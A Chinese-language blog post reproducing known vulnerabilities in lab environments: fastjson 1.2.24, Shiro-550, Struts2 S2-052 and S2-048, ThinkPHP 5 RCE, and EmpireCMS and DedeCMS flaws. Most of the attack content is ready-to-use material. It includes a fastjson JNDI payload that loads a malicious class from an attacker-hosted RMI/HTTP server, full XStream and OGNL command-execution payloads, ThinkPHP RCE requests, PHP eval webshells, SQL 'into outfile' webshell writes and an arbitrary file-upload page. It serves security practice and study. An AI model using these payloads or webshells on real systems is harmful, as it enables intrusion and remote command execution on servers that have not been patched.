fastjson/1.2.24-rce反序列化 RCE 漏洞复现(CVE-2017-18349)

搭配阅读
https://blog.csdn.net/SuPejkj/article/details/109190901
漏洞简介
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
利用版本: fastjson <= 1.2.24


提供服务器端、安卓客户端两种解析工具,性能表现较好。
提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。
允许转换预先存在的无法修改的对象(只有class、无源代码)。
Java泛型的广泛支持。
允许对象的自定义表示、允许自定义序列化类。
支持任意复杂对象(具有深厚的继承层次和广泛使用的泛型类型)。


JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一。JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI再局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
JNDi是应用程序设计的Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:
DNS、LDAP、CORBA对象服务、RMI


RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。

RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。RMI服务端可以直接绑定远程调用的对象以外,还可通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例。


区别:
反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。

RMI是一种行为,指的是Java远程方法调用。

JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。

ldap指轻量级目录服务协议。
漏洞原理

如果我们可以控制JNDI客户端中传入的url,就可以起一个恶意的RMI,让JNDI来加载我们的恶意类从而进行命令执行。

我们来看一下References,References类有两个属性,className和codebase url,className就是远程引用的类名,codebase决定了我们远程类的位置,当本地classpath中没有找到对应的类的时候,就会去请求codebase地址下的类(codebase支持http协议),此时如果我们将codebase地址下的类换成我们的恶意类,就能让客户端执行。

ps:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能够从指定codebase中下载字节码。

1.首先开启HTTP服务器,并将我们的恶意类放在目录下
2.开启恶意RMI服务器
3.攻击者控制url参数为上一步开启的恶意RMI服务器地址
4.恶意RMI服务器返回ReferenceWrapper类
5.目标(JNDI_Client)在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码
靶机 kali 2021
攻击机 kali 2023
靶机IP地址 192.168.139.136
攻击机IP地址 192.168.139.129

靶机环境

升级apt-get

apt-get update

安装docker
sudo apt-get install docker.io
sudo apt-get install docker-compose

下载vulhub
git clone https://github.com/vulhub/vulhub.git

通过vulhub安装环境
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d

攻击机环境

下载并配置java 1.8.0_20环境
sudo mkdir -p /usr/local/java
cd /usr/local/java
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk- 8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
sudo vim /etc/profile

文件末尾添加:
JAVA_HOME=/usr/local/java/jdk1.8.0_20
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_20/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_20/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_20/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_20/bin/javaws" 1

配置kali jdk环境
source /etc/profile
apt install default-jdk


如果有1.80版本的Java可以直接跳到这一步
切换版本
update-alternatives --config java
update-alternatives --config javac

任意位置恶意exp代码

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

cd到Exp.java文件的位置并执行
javac Exp.java    结果如下
image-20231030160542015
搭建http服务传输恶意文件
在所在目录开启http服务
python -m http.server 4444
image-20231030164118107
利用java 反序列化利用工具 marshalsec

git clone https://github.com/mbechler/marshalsec.git 下载marshalsec

apt-get install maven 安装maven

mvn clean package -DskipTests 使用maven编译marshalsec成jar包
建议使用梯子,如下图下载的很多,很小但是很慢
也可以联系我我发给你这个项目,实测是可以操作的
image-20231030155801860
启动RMI服务器

然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类

cd target

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.139.129:4444/#Exp" 9999
(这里如果要启动LDAP服务的话,只需把上面命令中的RMI改成LDAP即可)
image-20231030163208345
通过burp抓取靶场数据包(http://192.168.139.136:8090)并写入poc(请求包里面请求方式改成post,Content-Type改成application/json):
并添加
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.139.129:9999/Exp",
        "autoCommit":true
    }
}
image-20231030163852747
发送到回放模块
进行测试


最后
进入docker环境
docker exec -it (xx) bash  xx为CONTAINER ID
查看tmp目录文件
cd /tmp
ls -al

shiro漏洞

Shiro-550 反序列化漏洞(CVE-2016-4437)

Apache Shiro 是一个强大灵活的开源的Java安全框架Shiro可以非常容易的开发出足够好的应用,其不仅可以用在JavaSE环境,也可以用在JavaEE环境Shiro可以实现,认证,授权,加密,会话管理,Web集成,缓存等功能
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。所以我们Payload产生的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值


在请求包的Cookie中为 rememberMe字段赋任意值,收到返回包的 Set- Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用Shiro框
架,可以进一步测试。Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。影响版本为 Apache Shiro < 1.2.4
漏洞验证
未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段
勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段
或者可以在cookie后面自己加一个rememberMe=1,看返回包有没有rememberMe= deleteMe
安装环境
升级apt-get
apt-get update
安装docker
sudo apt-get install docker.io
sudo apt-get install docker-compose
下载vulhub
git clone https://github.com/vulhub/vulhub.git
通过vulhub安装环境
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

保证可以访问页面
进行功能验证
下载shiro_attack_2.2漏洞利用工具
配置本地jdk环境为1.8
在项目中使用java -jar shiro_attack-2.2.jar打开工具
通过工具进行漏洞探测及利用
编写bat脚本用来打开jar

java -jar shiro_attack-2.2.jar

复制http://192.168.139.136:8080/login;jsessionid=02BE4662A8A124620B96EC242B270DA6登录网址
之后步骤为
选择爆破密钥
检测当前利用链
之后就可以命令执行
image-20231030174423229

struts2

反序列化漏洞(CVE-2017-9805)

CVE-2017-9805即S2-052 反序列化漏洞也被称为无限制访问漏洞Struts2反序列化漏洞是由Xstream组件在解析用户提交的XML数据时,rest-plugin会根据URI扩展名或Content-Type来判断解析方法,并且缺乏适当的输入验证和控制,导致攻击者可以修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据,在XML请求中嵌入特殊的payload,从而利用反序列化漏洞进行远程代码执行。

影响版本为
Struts 2.1.2 — Struts 2.3.33
Struts 2.5 — Struts 2.5.12

方案一
升级Struts到2.5.13最新版本

方案二
如果系统没有使用Struts REST插件,那么可以直接删除Struts REST插件,或者在配置文件中加入如下代码,限制服务端文件的扩展名
<constant name=”struts.action.extension” value=”xhtml,,json” />
OST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>touch</string>
                        <string>/tmp/success</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>
打开docker环境访问你IP地址的8080端口,通过burp抓取靶场数据包
http://192.168.139.136:8080/orders.xhtml
image-20231031093754651
修改如下,虽然回显是失败但是成功上传了
image-20231031094131352
使用docker exec -it 59 bash 进入靶场docker环境,发现我们上传成功
image-20231031094249045

Content-Type注入漏洞(CVE-2017-9791)

CVE-2017-9791即S2-048 Content-Type注入漏洞Struts2框架在处理HTTP请求中的Content-Type头部时存在的安全问题,Struts2框架负责解析和处理Web应用程序中的HTTP请求。其中,它会检查请求的Content-Type头部,以确定请求的数据类型。攻击者可以在HTTP请求的Content-Type头部中注入恶意的OGNL表达式,而Struts2框架会不加验证地执行这些表达式,从而允许攻击者执行任意代码。影响版本为Strut2.3.x

详见:https://cwiki.apache.org/confluence/display/WW/S2-048 这个漏洞本质上是在struts2-struts1-plugin这个jar包上。这个库是将struts1的action封装成struts2的action以便在strut2上使用。

漏洞防护:1)停用Struts2-struts1-plugin插件、showcase.war;2)讲直接传递原始值改为使用资源键:
image-20231031101619128
image-20231031101640406
靶机环境安装

升级apt-get
apt-get update

安装docker
sudo apt-get install docker.io
sudo apt-get install docker-compose

下载vulhub
git clone https://github.com/vulhub/vulhub.git

通过vulhub安装环境
cd vulhub/struts2/s2-048
docker-compose up -d
image-20231031095307129
漏洞复现

攻击机访问url
http://xxx.xxx.xxx.xxx:8080/showcase
点击选项 Integration -> Struts 1 Integration
或直接访问链接
http://xxx.xxx.xxx.xxx:8080/integration/editGangster.action
尝试在表单Gangster Name中提交数据${123*100}并提交,其他输入框随意提交
查看返回结果
我们发现姓名返回结果为12300,为我们计算的结果
image-20231031095400784
在Gangster Name表单中输入下面payload执行命令
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

发现返回值中带有Gangster uid=0(root) gid=0(root) groups=0(root) added successfully
image-20231031095937523

ThinkPHP漏洞

ThinkPHP5.0.23 远程代码执行漏洞

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简代码的同时,更注重易用性。ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

ThinkPHP5.0.23 远程代码执行漏洞由于thinkphp 5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞 影响版本为 ThinkPHP 5.x < 5.1.31, <= 5.0.23
image-20231031102755555
使用bp抓包,修改为POST方式,URL添加/index.php?s=captcha  
使用POST传参 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
image-20231031103219361
image-20231031103402632
可以发现成功传参
image-20231031103439222
image-20231031103532429

ThinkPHP 5.0.22/5.1.29 远程代码执行漏洞

ThinkPHP 5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
这个rce漏洞归根结底就是因为 把控制器名字的 \ 开头作为类名导致我们可以实例化任意类,后面的payload也不过是基于此漏洞的利用。
靶机环境安装
升级apt-get
apt-get update

安装docker
sudo apt-get install docker.io
sudo apt-get install docker-compose

下载vulhub
git clone https://github.com/vulhub/vulhub.git

通过vulhub安装环境
cd vulhub/thinkphp/5-rce
docker-compose up -d
访问靶场页面
http://xxx.xxx.xxx.xxx:8080

访问链接来执行phpinfo函数
http://xxx.xxx.xxx.xxx:8080/index.php?s=/Index/\think\app/invokefunction&func
tion=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
image-20231031104852713

帝国cms漏洞

后台代码注入漏洞

靶机环境安装

打开phpstudy环境
下载empirecms
http://www.phome.net/download/

将upload文件夹解压到网站根目录
访问http://xxx.xxx.xxx.xxx/empire/e/install
按照提示进行安装
image-20231031110406002

去php.ini中修改

image-20231031110443688

刷新即可

image-20231031110549100

登录后台

image-20231031110924279
image-20231031110930668
进入到对应的功能点
系统 -> 数据表与系统模型 -> 管理数据表 -> 导入系统模型
1698721871079
导入我们的一句话木马  file_put_contents("1.php","<?php @eval($_REQUEST[1]); ?>");
                   file_put_contents("shell.php","<?php phpinfo();?>");
image-20231031111628839
访问我们上传的文件
http://xxx.xxx.xxx.xxx/empire/e/admin/shell.php
image-20231031114719937
image-20231031114738562

EmpireCMS 代码注入漏洞(CVE-2018-18086)

EmpireCMS7.5版本中的/e/class/moddofun.php文件的LoadInMod函数存在
安全漏洞,攻击者可利用该漏洞上传任意文件
影响版本为 EmpireCMS <= 7.5


靶机环境安装

打开phpstudy环境
下载empirecms
http://www.phome.net/download/

将upload文件夹解压到网站根目录
访问http://xxx.xxx.xxx.xxx/empire/e/install
按照提示进行安装


漏洞复现
访问并登录靶场页面(后台)
http://xxx.xxx.xxx.xxx/empire/e/admin
进入到对应的功能点
系统 -> 备份与恢复数据 -> 执行SQL语句
通过此处可以执行任意SQL语句
如果条件满足,那么可以通过SQL语句写入webshell
如:select '<?php @eval($_POST["cmd"])?>' into outfile
'C:/phpStudy/WWW/empire/shell.php'
1698724422662

EmpireCMS SQL注入漏洞(CVE-2018-19462)

EmpireCMS7.5版本中后台提供了执行SQL语句的功能,导致攻击者进入后台后可以使用任意的SQL语句,如果存在不安全的配置项,那么攻击者还可以通过执行SQL语句getshell

影响版本为 EmpireCMS <= 7.5
靶机环境安装
打开phpstudy环境
下载empirecms
http://www.phome.net/download/

将upload文件夹解压到网站根目录
访问http://xxx.xxx.xxx.xxx/empire/e/install
按照提示进行安装



漏洞复现
访问并登录靶场页面(后台)
http://xxx.xxx.xxx.xxx/empire/e/admin

进入到对应的功能点
系统 -> 备份与恢复数据 -> 执行SQL语句

通过此处可以执行任意SQL语句
如果条件满足,那么可以通过SQL语句写入webshell
如:select '<?php @eval($_POST["cmd"])?>' into outfile
'C:\Users\27682\Desktop'

织梦cms漏洞

DedeCMS(织梦)自最初发布以来已有 16 年的历史,是一个集内容发布、编辑、管理检索等于一体的网站管理系统,凭借自身丰富的主题模板和简单易用、开源免费的特性获得了众多站长的青睐,国内有很多企业网站都是使用DedeCMS程序搭建

未授权RCE漏洞(v5.8.1)

靶机环境安装
打开phpstudy环境
下载dedecms_v5.8.1
https://github.com/dedecms/DedeCMS/releases/tag/v5.8.1

将upload文件夹解压到网站根目录并改名为dedecms
访问http://xxx.xxx.xxx.xxx/dedecms

按照提示进行安装
漏洞复现
访问靶场页面
http://192.168.1.187/DedeCMS-5.8.1/plus/flink.php

通过burp抓取靶场数据包
http://192.168.1.187/DedeCMS-5.8.1/plus/flink.php?dopost=save&c=id
添加或修改Referer字段
<?php echo `whoami`; ?>

http://192.168.1.187/DedeCMS-5.8.1/plus/flink.php页面

image-20231031151353369
访问http://192.168.1.187/DedeCMS-5.8.1/plus/flink.php?dopost=save&c=id
正常会让提示你验证码不正确,之后会给你跳转回去,原理就是他这个referer,他会跳转回referer的地址
image-20231031151517833
可以通过添加Referer: http://www.baidu.com来进行验证
image-20231031151938059
我们添加referer字段
Referer: <?php echo `whoami`; ?>
可以获取到如下信息
1698736630264

未公开的漏洞

后台文件上传漏洞(dedecms_v5.7.111)

方法一

上传一个图片马
我的图片马
GIF89a<?php
@eval($_REQUEST[1]);
1698740948772
image-20231031163037279

再新建一个文件,使用include来引用图片马的内容

image-20231031163123416

集齐这两个文件可以召唤一个文件上传漏洞

image-20231031163153394

上传完包含问价,直接访问,进行传参即可

image-20231031163650258

方法二

这个方法的大致思路是我们上传一个文件上传页面,来绕过限制
<form method="post" action="#" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" name="ok">
</form>
<?php
foreach($_FILES as $k => $v){
    echo $v['tmp_name'];
    move_uploaded_file($v['tmp_name'],'1.php');
}


// 如果他连$v['tmp_name']这种格式也限制了,我们可以使用这个
//foreach ($_FILES as $k => $v){
//    foreach ($v as $k1 => v1){
//        if ($k === 'tmp_name'){
//            echo $v1;
//                move_uploaded_file($v1,'1.php');
//        }
//    }
//}
?>

把咱们写的文件上传代码上传

image-20231031192837501

访问上传的文件,上传一句话木马

image-20231031192443250

上传成功,会在下面显示临时文件储存的地址

image-20231031192949630

同时在该目录也会有一个1.php文件

image-20231031192958228

通过传参就可以访问

image-20231031193122265

Views: 10

邮箱:zzpqwetvg@gmail.com
最后更新于 2023-10-31